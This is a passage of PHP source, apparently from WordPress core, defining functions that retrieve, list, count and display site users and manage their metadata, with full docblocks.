	return update_user_meta( $user_id, $option_name, $newvalue );
}

/**
 * Deletes user option with global blog capability.
 *
 * User options are just like user metadata except that they have support for
 * global blog options. If the 'is_global' parameter is false, which it is by default,
 * it will prepend the WordPress table prefix to the option name.
 *
 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $user_id     User ID
 * @param string $option_name User option name.
 * @param bool   $is_global   Optional. Whether option name is global or blog specific.
 *                            Default false (blog specific).
 * @return bool True on success, false on failure.
 */
function delete_user_option( $user_id, $option_name, $is_global = false ) {
	global $wpdb;

	if ( ! $is_global ) {
		$option_name = $wpdb->get_blog_prefix() . $option_name;
	}

	return delete_user_meta( $user_id, $option_name );
}

/**
 * Retrieves user info by user ID.
 *
 * @since 6.7.0
 *
 * @param int $user_id User ID.
 *
 * @return WP_User|false WP_User object on success, false on failure.
 */
function get_user( $user_id ) {
	return get_user_by( 'id', $user_id );
}

/**
 * Retrieves list of users matching criteria.
 *
 * @since 3.1.0
 *
 * @see WP_User_Query
 *
 * @param array $args Optional. Arguments to retrieve users. See WP_User_Query::prepare_query()
 *                    for more information on accepted arguments.
 * @return array List of users.
 */
function get_users( $args = array() ) {

	$args                = wp_parse_args( $args );
	$args['count_total'] = false;

	$user_search = new WP_User_Query( $args );

	return (array) $user_search->get_results();
}

/**
 * Lists all the users of the site, with several options available.
 *
 * @since 5.9.0
 *
 * @param string|array $args {
 *     Optional. Array or string of default arguments.
 *
 *     @type string $orderby       How to sort the users. Accepts 'nicename', 'email', 'url', 'registered',
 *                                 'user_nicename', 'user_email', 'user_url', 'user_registered', 'name',
 *                                 'display_name', 'post_count', 'ID', 'meta_value', 'user_login'. Default 'name'.
 *     @type string $order         Sorting direction for $orderby. Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type int    $number        Maximum users to return or display. Default empty (all users).
 *     @type bool   $exclude_admin Whether to exclude the 'admin' account, if it exists. Default false.
 *     @type bool   $show_fullname Whether to show the user's full name. Default false.
 *     @type string $feed          If not empty, show a link to the user's feed and use this text as the alt
 *                                 parameter of the link. Default empty.
 *     @type string $feed_image    If not empty, show a link to the user's feed and use this image URL as
 *                                 clickable anchor. Default empty.
 *     @type string $feed_type     The feed type to link to, such as 'rss2'. Defaults to default feed type.
 *     @type bool   $echo          Whether to output the result or instead return it. Default true.
 *     @type string $style         If 'list', each user is wrapped in an `<li>` element, otherwise the users
 *                                 will be separated by commas.
 *     @type bool   $html          Whether to list the items in HTML form or plaintext. Default true.
 *     @type string $exclude       An array, comma-, or space-separated list of user IDs to exclude. Default empty.
 *     @type string $include       An array, comma-, or space-separated list of user IDs to include. Default empty.
 * }
 * @return string|null The output if echo is false. Otherwise null.
 */
function wp_list_users( $args = array() ) {
	$defaults = array(
		'orderby'       => 'name',
		'order'         => 'ASC',
		'number'        => '',
		'exclude_admin' => true,
		'show_fullname' => false,
		'feed'          => '',
		'feed_image'    => '',
		'feed_type'     => '',
		'echo'          => true,
		'style'         => 'list',
		'html'          => true,
		'exclude'       => '',
		'include'       => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$return = '';

	$query_args           = wp_array_slice_assoc( $parsed_args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) );
	$query_args['fields'] = 'ids';

	/**
	 * Filters the query arguments for the list of all users of the site.
	 *
	 * @since 6.1.0
	 *
	 * @param array $query_args  The query arguments for get_users().
	 * @param array $parsed_args The arguments passed to wp_list_users() combined with the defaults.
	 */
	$query_args = apply_filters( 'wp_list_users_args', $query_args, $parsed_args );

	$users = get_users( $query_args );

	foreach ( $users as $user_id ) {
		$user = get_userdata( $user_id );

		if ( $parsed_args['exclude_admin'] && 'admin' === $user->display_name ) {
			continue;
		}

		if ( $parsed_args['show_fullname'] && '' !== $user->first_name && '' !== $user->last_name ) {
			$name = sprintf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$user->first_name,
				$user->last_name
			);
		} else {
			$name = $user->display_name;
		}

		if ( ! $parsed_args['html'] ) {
			$return .= $name . ', ';

			continue; // No need to go further to process HTML.
		}

		if ( 'list' === $parsed_args['style'] ) {
			$return .= '<li>';
		}

		$row = $name;

		if ( ! empty( $parsed_args['feed_image'] ) || ! empty( $parsed_args['feed'] ) ) {
			$row .= ' ';
			if ( empty( $parsed_args['feed_image'] ) ) {
				$row .= '(';
			}

			$row .= '<a href="' . get_author_feed_link( $user->ID, $parsed_args['feed_type'] ) . '"';

			$alt = '';
			if ( ! empty( $parsed_args['feed'] ) ) {
				$alt  = ' alt="' . esc_attr( $parsed_args['feed'] ) . '"';
				$name = $parsed_args['feed'];
			}

			$row .= '>';

			if ( ! empty( $parsed_args['feed_image'] ) ) {
				$row .= '<img src="' . esc_url( $parsed_args['feed_image'] ) . '" style="border: none;"' . $alt . ' />';
			} else {
				$row .= $name;
			}

			$row .= '</a>';

			if ( empty( $parsed_args['feed_image'] ) ) {
				$row .= ')';
			}
		}

		$return .= $row;
		$return .= ( 'list' === $parsed_args['style'] ) ? '</li>' : ', ';
	}

	$return = rtrim( $return, ', ' );

	if ( ! $parsed_args['echo'] ) {
		return $return;
	}
	echo $return;
}

/**
 * Gets the sites a user belongs to.
 *
 * @since 3.0.0
 * @since 4.7.0 Converted to use `get_sites()`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int  $user_id User ID
 * @param bool $all     Whether to retrieve all sites, or only sites that are not
 *                      marked as deleted, archived, or spam.
 * @return object[] A list of the user's sites. An empty array if the user doesn't exist
 *                  or belongs to no sites.
 */
function get_blogs_of_user( $user_id, $all = false ) {
	global $wpdb;

	$user_id = (int) $user_id;

	// Logged out users can't have sites.
	if ( empty( $user_id ) ) {
		return array();
	}

	/**
	 * Filters the list of a user's sites before it is populated.
	 *
	 * Returning a non-null value from the filter will effectively short circuit
	 * get_blogs_of_user(), returning that value instead.
	 *
	 * @since 4.6.0
	 *
	 * @param null|object[] $sites   An array of site objects of which the user is a member.
	 * @param int           $user_id User ID.
	 * @param bool          $all     Whether the returned array should contain all sites, including
	 *                               those marked 'deleted', 'archived', or 'spam'. Default false.
	 */
	$sites = apply_filters( 'pre_get_blogs_of_user', null, $user_id, $all );

	if ( null !== $sites ) {
		return $sites;
	}

	$keys = get_user_meta( $user_id );
	if ( empty( $keys ) ) {
		return array();
	}

	if ( ! is_multisite() ) {
		$site_id                        = get_current_blog_id();
		$sites                          = array( $site_id => new stdClass() );
		$sites[ $site_id ]->userblog_id = $site_id;
		$sites[ $site_id ]->blogname    = get_option( 'blogname' );
		$sites[ $site_id ]->domain      = '';
		$sites[ $site_id ]->path        = '';
		$sites[ $site_id ]->site_id     = 1;
		$sites[ $site_id ]->siteurl     = get_option( 'siteurl' );
		$sites[ $site_id ]->archived    = 0;
		$sites[ $site_id ]->spam        = 0;
		$sites[ $site_id ]->deleted     = 0;
		return $sites;
	}

	$site_ids = array();

	if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
		$site_ids[] = 1;
		unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
	}

	$keys = array_keys( $keys );

	foreach ( $keys as $key ) {
		if ( ! str_ends_with( $key, 'capabilities' ) ) {
			continue;
		}
		if ( $wpdb->base_prefix && ! str_starts_with( $key, $wpdb->base_prefix ) ) {
			continue;
		}
		$site_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
		if ( ! is_numeric( $site_id ) ) {
			continue;
		}

		$site_ids[] = (int) $site_id;
	}

	$sites = array();

	if ( ! empty( $site_ids ) ) {
		$args = array(
			'number'   => '',
			'site__in' => $site_ids,
		);
		if ( ! $all ) {
			$args['archived'] = 0;
			$args['spam']     = 0;
			$args['deleted']  = 0;
		}

		$_sites = get_sites( $args );

		foreach ( $_sites as $site ) {
			$sites[ $site->id ] = (object) array(
				'userblog_id' => $site->id,
				'blogname'    => $site->blogname,
				'domain'      => $site->domain,
				'path'        => $site->path,
				'site_id'     => $site->network_id,
				'siteurl'     => $site->siteurl,
				'archived'    => $site->archived,
				'mature'      => $site->mature,
				'spam'        => $site->spam,
				'deleted'     => $site->deleted,
			);
		}
	}

	/**
	 * Filters the list of sites a user belongs to.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param object[] $sites   An array of site objects belonging to the user.
	 * @param int      $user_id User ID.
	 * @param bool     $all     Whether the returned sites array should contain all sites, including
	 *                          those marked 'deleted', 'archived', or 'spam'. Default false.
	 */
	return apply_filters( 'get_blogs_of_user', $sites, $user_id, $all );
}

/**
 * Finds out whether a user is a member of a given blog.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
 * @return bool
 */
function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
	global $wpdb;

	$user_id = (int) $user_id;
	$blog_id = (int) $blog_id;

	if ( empty( $user_id ) ) {
		$user_id = get_current_user_id();
	}

	/*
	 * Technically not needed, but does save calls to get_site() and get_user_meta()
	 * in the event that the function is called when a user isn't logged in.
	 */
	if ( empty( $user_id ) ) {
		return false;
	} else {
		$user = get_userdata( $user_id );
		if ( ! $user instanceof WP_User ) {
			return false;
		}
	}

	if ( ! is_multisite() ) {
		return true;
	}

	if ( empty( $blog_id ) ) {
		$blog_id = get_current_blog_id();
	}

	$blog = get_site( $blog_id );

	if ( ! $blog || ! isset( $blog->domain ) || $blog->archived || $blog->spam || $blog->deleted ) {
		return false;
	}

	$keys = get_user_meta( $user_id );
	if ( empty( $keys ) ) {
		return false;
	}

	// No underscore before capabilities in $base_capabilities_key.
	$base_capabilities_key = $wpdb->base_prefix . 'capabilities';
	$site_capabilities_key = $wpdb->base_prefix . $blog_id . '_capabilities';

	if ( isset( $keys[ $base_capabilities_key ] ) && 1 === $blog_id ) {
		return true;
	}

	if ( isset( $keys[ $site_capabilities_key ] ) ) {
		return true;
	}

	return false;
}

/**
 * Adds meta data to a user.
 *
 * @since 3.0.0
 *
 * @param int    $user_id    User ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Arrays and objects are stored as serialized data and
 *                           will be returned as the same type when retrieved. Other data types will
 *                           be stored as strings in the database:
 *                           - false is stored and retrieved as an empty string ('')
 *                           - true is stored and retrieved as '1'
 *                           - numbers (both integer and float) are stored and retrieved as strings
 *                           Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_user_meta( $user_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'user', $user_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a user.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/delete_user_meta/
 *
 * @param int    $user_id    User ID
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function delete_user_meta( $user_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'user', $user_id, $meta_key, $meta_value );
}

/**
 * Retrieves user meta field for a user.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/get_user_meta/
 *
 * @param int    $user_id User ID.
 * @param string $key     Optional. The meta key to retrieve. By default,
 *                        returns data for all keys.
 * @param bool   $single  Optional. Whether to return a single value.
 *                        This parameter has no effect if `$key` is not specified.
 *                        Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$user_id` (non-numeric, zero, or negative value).
 *               An empty array if a valid but non-existing user ID is passed and `$single` is false.
 *               An empty string if a valid but non-existing user ID is passed and `$single` is true.
 *               Note: Non-serialized values are returned as strings:
 *               - false values are returned as empty strings ('')
 *               - true values are returned as '1'
 *               - numbers (both integer and float) are returned as strings
 *               Arrays and objects retain their original type.
 */
function get_user_meta( $user_id, $key = '', $single = false ) {
	return get_metadata( 'user', $user_id, $key, $single );
}

/**
 * Updates user meta field based on user ID.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and user ID.
 *
 * If the meta field for the user does not exist, it will be added.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/update_user_meta/
 *
 * @param int    $user_id    User ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_user_meta( $user_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'user', $user_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Counts number of users who have each of the user roles.
 *
 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
 *
 * @since 3.0.0
 * @since 4.4.0 The number of users with no role is now included in the `none` element.
 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string   $strategy Optional. The computational strategy to use when counting the users.
 *                           Accepts either 'time' or 'memory'. Default 'time'.
 * @param int|null $site_id  Optional. The site ID to count users for. Defaults to the current site.
 * @return array {
 *     User counts.
 *
 *     @type int   $total_users Total number of users on the site.
 *     @type int[] $avail_roles Array of user counts keyed by user role.
 * }
 */
function count_users( $strategy = 'time', $site_id = null ) {
	global $wpdb;

	// Initialize.
	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	/**
	 * Filters the user count before queries are run.
	 *
	 * Return a non-null value to cause count_users() to return early.
	 *
	 * @since 5.1.0
	 *
	 * @param null|array $result   The value to return instead. Default null to continue with the query.
	 * @param string     $strategy Optional. The computational strategy to use when counting the users.
	 *                             Accepts either 'time' or 'memory'. Default 'time'.
	 * @param int        $site_id  The site ID to count users for.
	 */
	$pre = apply_filters( 'pre_count_users', null, $strategy, $site_id );

	if ( null !== $pre ) {
		return $pre;
	}

	$blog_prefix = $wpdb->get_blog_prefix( $site_id );
	$result      = array();

	if ( 'time' === $strategy ) {
		if ( is_multisite() && get_current_blog_id() !== $site_id ) {
			switch_to_blog( $site_id );
			$avail_roles = wp_roles()->get_names();
			restore_current_blog();
		} else {
			$avail_roles = wp_roles()->get_names();
		}

		// Build a CPU-intensive query that will return concise information.
		$select_count = array();
		foreach ( $avail_roles as $this_role => $name ) {
			$select_count[] = $wpdb->prepare( 'COUNT(NULLIF(`meta_value` LIKE %s, false))', '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%' );
		}
		$select_count[] = "COUNT(NULLIF(`meta_value` = 'a:0:{}', false))";
		$select_count   = implode( ', ', $select_count );

		// Add the meta_value index to the selection list, then run the query.
		$row = $wpdb->get_row(
			"
			SELECT {$select_count}, COUNT(*)
			FROM {$wpdb->usermeta}
			INNER JOIN {$wpdb->users} ON user_id = ID
			WHERE meta_key = '{$blog_prefix}capabilities'
		",
			ARRAY_N
		);

		// Run the previous loop again to associate results with role names.
		$col         = 0;
		$role_counts = array();
		foreach ( $avail_roles as $this_role => $name ) {
			$count = (int) $row[ $col++ ];
			if ( $count > 0 ) {
				$role_counts[ $this_role ] = $count;
			}
		}

		$role_counts['none'] = (int) $row[ $col++ ];

		// Get the meta_value index from the end of the result set.
		$total_users = (int) $row[ $col ];

		$result['total_users'] = $total_users;
		$result['avail_roles'] =& $role_counts;
	} else {
		$avail_roles = array(
			'none' => 0,
		);

		$users_of_blog = $wpdb->get_col(
			"
			SELECT meta_value
			FROM {$wpdb->usermeta}
			INNER JOIN {$wpdb->users} ON user_id = ID
			WHERE meta_key = '{$blog_prefix}capabilities'
		"
		);

		foreach ( $users_of_blog as $caps_meta ) {
			$b_roles = maybe_unserialize( $caps_meta );
			if ( ! is_array( $b_roles ) ) {
				continue;
			}
			if ( empty( $b_roles ) ) {
				++$avail_roles['none'];
			}
			foreach ( $b_roles as $b_role => $val ) {
				if ( isset( $avail_roles[ $b_role ] ) ) {
					++$avail_roles[ $b_role ];
				} else {
					$avail_roles[ $b_role ] = 1;
				}
			}
		}

		$result['total_users'] = count( $users_of_blog );
		$result['avail_roles'] =& $avail_roles;
	}

	return $result;
}

/**
 * Returns the number of active users in your installation.
 *
 * Note that on a large site the count may be cached and only updated twice daily.
 *
 * @since MU (3.0.0)
 * @since 4.8.0 The `$network_id` parameter has been added.
 * @since 6.0.0 Moved to wp-includes/user.php.
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return int Number of active users on the network.
 */
function get_user_count( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	return (int) get_network_option( $network_id, 'user_count', -1 );
}

/**
 * Updates the total count of users on the site if live user counting is enabled.
 *
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the update was successful.
 */
function wp_maybe_update_user_counts( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$is_small_network = ! wp_is_large_user_count( $network_id );
	/** This filter is documented in wp-includes/ms-functions.php */
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) {
		return false;
	}

	return wp_update_user_counts( $network_id );
}

/**
 * Updates the total count of users on the site.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the update was successful.
 */
function wp_update_user_counts( $network_id = null ) {
	global $wpdb;

	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$query = "SELECT COUNT(ID) as c FROM $wpdb->users";
	if ( is_multisite() ) {
		$query .= " WHERE spam = '0' AND deleted = '0'";
	}

	$count = $wpdb->get_var( $query );

	return update_network_option( $network_id, 'user_count', $count );
}

/**
 * Schedules a recurring recalculation of the total count of users.
 *
 * @since 6.0.0
 */
function wp_schedule_update_user_counts() {
	if ( ! is_main_site() ) {
		return;
	}

	if ( ! wp_next_scheduled( 'wp_update_user_counts' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'wp_update_user_counts' );
	}
}

/**
 * Determines whether the site has a large number of users.
 *
 * The default criteria for a large site is more than 10,000 users.
 *
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the site has a large number of users.
 */
function wp_is_large_user_count( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$count = get_user_count( $network_id );

	/**
	 * Filters whether the site is considered large, based on its number of users.
	 *
	 * @since 6.0.0
	 *
	 * @param bool     $is_large_user_count Whether the site has a large number of users.
	 * @param int      $count               The total number of users.
	 * @param int|null $network_id          ID of the network. `null` represents the current network.
	 */
	return apply_filters( 'wp_is_large_user_count', $count > 10000, $count, $network_id );
}

//
// Private helper functions.
//

/**
 * Sets up global user vars.
 *
 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
 *
 * @since 2.0.4
 *
 * @global string  $user_login    The user username for logging in
 * @global WP_User $userdata      User data.
 * @global int     $user_level    The level of the user
 * @global int     $user_ID       The ID of the user
 * @global string  $user_email    The email address of the user
 * @global string  $user_url      The url in the user's profile
 * @global string  $user_identity The display name of the user
 *
 * @param int $for_user_id Optional. User ID to set up global data. Default 0.
 */
function setup_userdata( $for_user_id = 0 ) {
	global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;

	if ( ! $for_user_id ) {
		$for_user_id = get_current_user_id();
	}
	$user = get_userdata( $for_user_id );

	if ( ! $user ) {
		$user_ID       = 0;
		$user_level    = 0;
		$userdata      = null;
		$user_login    = '';
		$user_email    = '';
		$user_url      = '';
		$user_identity = '';
		return;
	}

	$user_ID       = (int) $user->ID;
	$user_level    = (int) $user->user_level;
	$userdata      = $user;
	$user_login    = $user->user_login;
	$user_email    = $user->user_email;
	$user_url      = $user->user_url;
	$user_identity = $user->display_name;
}

/**
 * Creates dropdown HTML content of users.
 *
 * The content can either be displayed, which it is by default, or retrieved by
 * setting the 'echo' argument to false. The 'include' and 'exclude' arguments
 * are optional; if they are not specified, all users will be displayed. Only one
 * can be used in a single call, either 'include' or 'exclude', but not both.
 *
 * @since 2.3.0
 * @since 4.5.0 Added the 'display_name_with_login' value for 'show'.
 * @since 4.7.0 Added the 'role', 'role__in', and 'role__not_in' parameters.
 * @since 5.9.0 Added the 'capability', 'capability__in', and 'capability__not_in' parameters.
 *              Deprecated the 'who' parameter.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a drop-down of users.
 *     See WP_User_Query::prepare_query() for additional available arguments.
 *
 *     @type string          $show_option_all         Text to show as the drop-down default (all).
 *                                                    Default empty.
 *     @type string          $show_option_none        Text to show as the drop-down default when no
 *                                                    users were found. Default empty.
 *     @type int|string      $option_none_value       Value to use for `$show_option_none` when no users
 *                                                    were found. Default -1.
 *     @type string          $hide_if_only_one_author Whether to skip generating the drop-down
 *                                                    if only one user was found. Default empty.
 *     @type string          $orderby                 Field to order found users by. Accepts user fields.
 *                                                    Default 'display_name'.
 *     @type string          $order                   Whether to order users in ascending or descending
 *                                                    order. Accepts 'ASC' (ascending) or 'DESC' (descending).
 *                                                    Default 'ASC'.
 *     @type int[]|string    $include                 Array or comma-separated list of user IDs to include.
 *                                                    Default empty.
 *     @type int[]|string    $exclude                 Array or comma-separated list of user IDs to exclude.
 *                                                    Default empty.
 *     @type bool|int        $multi                   Whether to skip the ID attribute on the 'select' element.
 *                                                    Accepts 1|true or 0|false. Default 0|false.
 *     @type string          $show                    User data to display. If the selected item is empty
 *                                                    then the 'user_login' will be displayed in parentheses.
 *                                                    Accepts any user field, or 'display_name_with_login' to show
 *                                                    the display name with user_login in parentheses.
 *                                                    Default 'display_name'.
 *     @type int|bool        $echo                    Whether to echo or return the drop-down. Accepts 1|true (echo)
 *                                                    or 0|false (return). Default 1|true.
 *     @type int             $selected                Which user ID should be selected. Default 0.
 *     @type bool            $include_selected        Whether to always include the selected user ID in the drop-
 *                                                    down. Default false.
 *     @type string          $name                    Name attribute of select element. Default 'user'.
 *     @type string          $id                      ID attribute of the select element. Default is the value of `$name`.
 *     @type string          $class                   Class attribute of the select element. Default empty.
 *     @type int             $blog_id                 ID of blog (Multisite only). Default is ID of the current blog.
 *     @type string          $who                     Deprecated, use `$capability` instead.
 *                                                    Which type of users to query. Accepts only an empty string or
 *                                                    'authors'. Default empty (all users).
 *     @type string|string[] $role                    An array or a comma-separated list of role names that users
 *                                                    must match to be included in results. Note that this is
 *                                                    an inclusive list: users must match *each* role. Default empty.
 *     @type string[]        $role__in                An array of role names. Matched users must have at least one
 *                                                    of these roles. Default empty array.
 *     @type string[]        $role__not_in            An array of role names to exclude. Users matching one or more
 *                                                    of these roles will not be included in results. Default empty array.
 *     @type string|string[] $capability              An array or a comma-separated list of capability names that users
 *                                                    must match to be included in results. Note that this is
 *                                                    an inclusive list: users must match *each* capability.
 *                                                    Does NOT work for capabilities not in the database or filtered
 *                                                    via {@see 'map_meta_cap'}. Default empty.
 *     @type string[]        $capability__in          An array of capability names. Matched users must have at least one
 *                                                    of these capabilities.
 *                                                    Does NOT work for capabilities not in the database or filtered
 *                                                    via {@see 'map_meta_cap'}. Default empty array.
 *     @type string[]        $capability__not_in      An array of capability names to exclude. Users matching one or more
 *                                                    of these capabilities will not be included in results.
 *                                                    Does NOT work for capabilities not in the database or filtered
 *                                                    via {@see 'map_meta_cap'}. Default empty array.
 * }
 * @return string HTML dropdown list of users.
 */
function wp_dropdown_users( $args = '' ) {
	$defaults = array(
		'show_option_all'         => '',
		'show_option_none'        => '',
		'hide_if_only_one_author' => '',
		'orderby'                 => 'display_name',
		'order'                   => 'ASC',
		'include'                 => '',
		'exclude'                 => '',
		'multi'                   => 0,
		'show'                    => 'display_name',
		'echo'                    => 1,
		'selected'                => 0,
		'name'                    => 'user',
		'class'                   => '',
		'id'                      => '',
		'blog_id'                 => get_current_blog_id(),
		'who'                     => '',
		'include_selected'        => false,
		'option_none_value'       => -1,
		'role'                    => '',
		'role__in'                => array(),
		'role__not_in'            => array(),
		'capability'              => '',
		'capability__in'          => array(),
		'capability__not_in'      => array(),
	);

	$defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;

	$parsed_args = wp_parse_args( $args, $defaults );

	$query_args = wp_array_slice_assoc(
		$parsed_args,
		array(
			'blog_id',
			'include',
			'exclude',
			'orderby',
			'order',
			'who',
			'role',
			'role__in',
			'role__not_in',
			'capability',
			'capability__in',
			'capability__not_in',
		)
	);

	$fields = array( 'ID', 'user_login' );

	$show = ! empty( $parsed_args['show'] ) ? $parsed_args['show'] : 'display_name';
	if ( 'display_name_with_login' === $show ) {
		$fields[] = 'display_name';
	} else {
		$fields[] = $show;
	}

	$query_args['fields'] = $fields;

	$show_option_all   = $parsed_args['show_option_all'];
	$show_option_none  = $parsed_args['show_option_none'];
	$option_none_value = $parsed_args['option_none_value'];

	/**
	 * Filters the query arguments for the list of users in the dropdown.
	 *
	 * @since 4.4.0
	 *
	 * @param array $query_args  The query arguments for get_users().
	 * @param array $parsed_args The arguments passed to wp_dropdown_users() combined with the defaults.
	 */
	$query_args = apply_filters( 'wp_dropdown_users_args', $query_args, $parsed_args );

	$users = get_users( $query_args );

	$output = '';
	if ( ! empty( $users ) && ( empty( $parsed_args['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
		$name = esc_attr( $parsed_args['name'] );
		if ( $parsed_args['multi'] && ! $parsed_args['id'] ) {
			$id = '';
		} else {
			$id = $parsed_args['id'] ? " id='" . esc_attr( $parsed_args['id'] ) . "'" : " id='$name'";
		}
		$output = "<select name='{$name}'{$id} class='" . $parsed_args['class'] . "'>\n";

		if ( $show_option_all ) {
			$output .= "\t<option value='0'>$show_option_all</option>\n";
		}

		if ( $show_option_none ) {
			$_selected = selected( $option_none_value, $parsed_args['selected'], false );
			$output   .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
		}

		if ( $parsed_args['include_selected'] && ( $parsed_args['selected'] > 0 ) ) {
			$found_selected          = false;
			$parsed_args['selected'] = (int) $parsed_args['selected'];

			foreach ( (array) $users as $user ) {
				$user->ID = (int) $user->ID;
				if ( $user->ID === $parsed_args['selected'] ) {
					$found_selected = true;
				}
			}

			if ( ! $found_selected ) {
				$selected_user = get_userdata( $parsed_args['selected'] );
				if ( $selected_user ) {
					$users[] = $selected_user;
				}
			}
		}

		foreach ( (array) $users as $user ) {
			if ( 'display_name_with_login' === $show ) {
				/* translators: 1: User's display name, 2: User login. */
				$display = sprintf( _x( '%1$s (%2$s)', 'user dropdown' ), $user->display_name, $user->user_login );
			} elseif ( ! empty( $user->$show ) ) {
				$display = $user->$show;
			} else {
				$display = '(' . $user->user_login . ')';
			}

			$_selected = selected( $user->ID, $parsed_args['selected'], false );
			$output   .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
		}

		$output .= '</select>';
	}

	/**
	 * Filters the wp_dropdown_users() HTML output.
	 *
	 * @since 2.3.0
	 *
	 * @param string $output HTML output generated by wp_dropdown_users().
	 */
	$html = apply_filters( 'wp_dropdown_users', $output );

	if ( $parsed_args['echo'] ) {
		echo $html;
	}
	return $html;
}

/**
 * Sanitizes user field based on context.
 *
 * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
 * when calling filters.
 *
 * @since 2.3.0
 *
 * @param string $field   The user Object field name.
 * @param mixed  $value   The user Object value.
 * @param int    $user_id User ID.
 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
 *                        'attribute' and 'js'.
 * @return mixed Sanitized value.
 */
function sanitize_user_field( $field, $value, $user_id, $context ) {
	$int_fields = array( 'ID' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( ! is_string( $value ) && ! is_numeric( $value ) ) {
		return $value;
	}

	$prefixed = str_contains( $field, 'user_' );

	if ( 'edit' === $context ) {
		if ( $prefixed ) {

			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "edit_{$field}", $value, $user_id );
		} else {

			/**
			 * Filters a user field value in the 'edit' context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
